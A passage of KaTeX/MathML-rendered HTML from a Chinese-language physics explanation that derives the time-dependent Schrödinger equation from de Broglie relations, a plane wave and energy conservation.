</mtext></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>ω</mi><mo>=</mo><mfrac><mi>E</mi><mi mathvariant="normal">ℏ</mi></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>p</mi><mo>=</mo><mfrac><mi>h</mi><mi>λ</mi></mfrac><mo>=</mo><mi mathvariant="normal">ℏ</mi><mi>k</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mtext>  </mtext><mo>⟹</mo><mtext>  </mtext></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>k</mi><mo>=</mo><mfrac><mi>p</mi><mi mathvariant="normal">ℏ</mi></mfrac></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}E=hf=\hbar\omega &amp; \implies &amp; \omega = \frac{E}{\hbar}\\p=\frac{h}{\lambda}=\hbar k &amp; \implies &amp; k = \frac{p}{\hbar}\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.4038em;vertical-align:-1.9519em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.4519em;"><span style="top:-4.463em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">h</span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">ℏ</span><span class="mord mathnormal" style="margin-right:0.0359em;">ω</span></span></span><span style="top:-2.1056em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">λ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">h</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">ℏ</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9519em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.4519em;"><span style="top:-4.463em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span></span></span><span style="top:-2.1056em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9519em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.4519em;"><span style="top:-4.463em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ω</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">ℏ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0576em;">E</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-2.1056em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">ℏ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9519em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>帶回去，能得到</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ψ</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>A</mi><msup><mi>e</mi><mrow><mfrac><mi>i</mi><mi mathvariant="normal">ℏ</mi></mfrac><mo stretchy="false">(</mo><mi>p</mi><mi>x</mi><mo>−</mo><mi>E</mi><mi>t</mi><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding="application/x-tex">\psi(x,t) = A e^{\frac{i}{\hbar}(px - Et)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0116em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0116em;"><span style="top:-3.413em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8551em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">ℏ</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">x</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0576em;">E</span><span class="mord mathnormal mtight">t</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>對 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 微分兩次可得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>ψ</mi></mrow><mrow><mi mathvariant="normal">∂</mi><msup><mi>x</mi><mn>2</mn></msup></mrow></mfrac><mo>=</mo><msup><mrow><mo fence="true">(</mo><mfrac><mi>i</mi><mi mathvariant="normal">ℏ</mi></mfrac><mi>p</mi><mo fence="true">)</mo></mrow><mn>2</mn></msup><mi>ψ</mi><mo>=</mo><mo>−</mo><mfrac><msup><mi>p</mi><mn>2</mn></msup><msup><mi mathvariant="normal">ℏ</mi><mn>2</mn></msup></mfrac><mi>ψ</mi><mtext>  </mtext><mo>⟹</mo><mtext>  </mtext><mo>−</mo><msup><mi mathvariant="normal">ℏ</mi><mn>2</mn></msup><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>ψ</mi></mrow><mrow><mi mathvariant="normal">∂</mi><msup><mi>x</mi><mn>2</mn></msup></mrow></mfrac><mo>=</mo><msup><mi>p</mi><mn>2</mn></msup><mi>ψ</mi></mrow><annotation encoding="application/x-tex">\frac{\partial^2 \psi}{\partial x^2} = \left(\frac{i}{\hbar}p\right)^2 \psi = -\frac{p^2}{\hbar^2} \psi \implies -\hbar^2 \frac{\partial^2 \psi}{\partial x^2} = p^2\psi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.604em;vertical-align:-0.95em;"></span><span class="minner"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3365em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">ℏ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal">p</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.654em;"><span style="top:-3.9029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">ℏ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord">−</span><span class="mord"><span class="mord">ℏ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0585em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span></span></p><p>對 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 微分一次可得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>ψ</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>t</mi></mrow></mfrac><mo>=</mo><mo>−</mo><mfrac><mi>i</mi><mi mathvariant="normal">ℏ</mi></mfrac><mi>E</mi><mo>⋅</mo><mi>ψ</mi><mtext>  </mtext><mo>⟹</mo><mtext>  </mtext><mi>i</mi><mi mathvariant="normal">ℏ</mi><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>ψ</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>t</mi></mrow></mfrac><mo>=</mo><mi>E</mi><mi>ψ</mi></mrow><annotation encoding="application/x-tex">\frac{\partial \psi}{\partial t} = -\frac{i}{\hbar} E \cdot \psi \implies i\hbar \frac{\partial \psi}{\partial t} = E\psi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal">t</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0225em;vertical-align:-0.686em;"></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3365em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">ℏ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord mathnormal">i</span><span class="mord">ℏ</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal">t</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span></span></p><p>我們將他們代入能量守恆(兩邊同乘<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ψ</mi></mrow><annotation encoding="application/x-tex">\psi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span>)：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>E</mi><mi>ψ</mi><mo>=</mo><mfrac><msup><mi>p</mi><mn>2</mn></msup><mrow><mn>2</mn><mi>m</mi></mrow></mfrac><mi>ψ</mi><mo>+</mo><mi>V</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mi>ψ</mi></mrow><annotation encoding="application/x-tex">E\psi = \frac{p^2}{2m}\psi + V(x)\psi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.2222em;">V</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span></span></p><p>即可得到</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>i</mi><mi mathvariant="normal">ℏ</mi><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>ψ</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><mrow><mi mathvariant="normal">∂</mi><mi>t</mi></mrow></mfrac><mo>=</mo><mrow><mo fence="true">(</mo><mo>−</mo><mfrac><msup><mi mathvariant="normal">ℏ</mi><mn>2</mn></msup><mrow><mn>2</mn><mi>m</mi></mrow></mfrac><mfrac><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mrow><mi mathvariant="normal">∂</mi><msup><mi>x</mi><mn>2</mn></msup></mrow></mfrac><mo>+</mo><mi>V</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo fence="true">)</mo></mrow><mi>ψ</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i\hbar \frac{\partial \psi(x,t)}{\partial t} = \left(-\frac{\hbar^2}{2m} \frac{\partial^2}{\partial x^2} + V(x)\right)\psi(x,t)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord mathnormal">i</span><span class="mord">ℏ</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal">t</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4411em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">ℏ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" 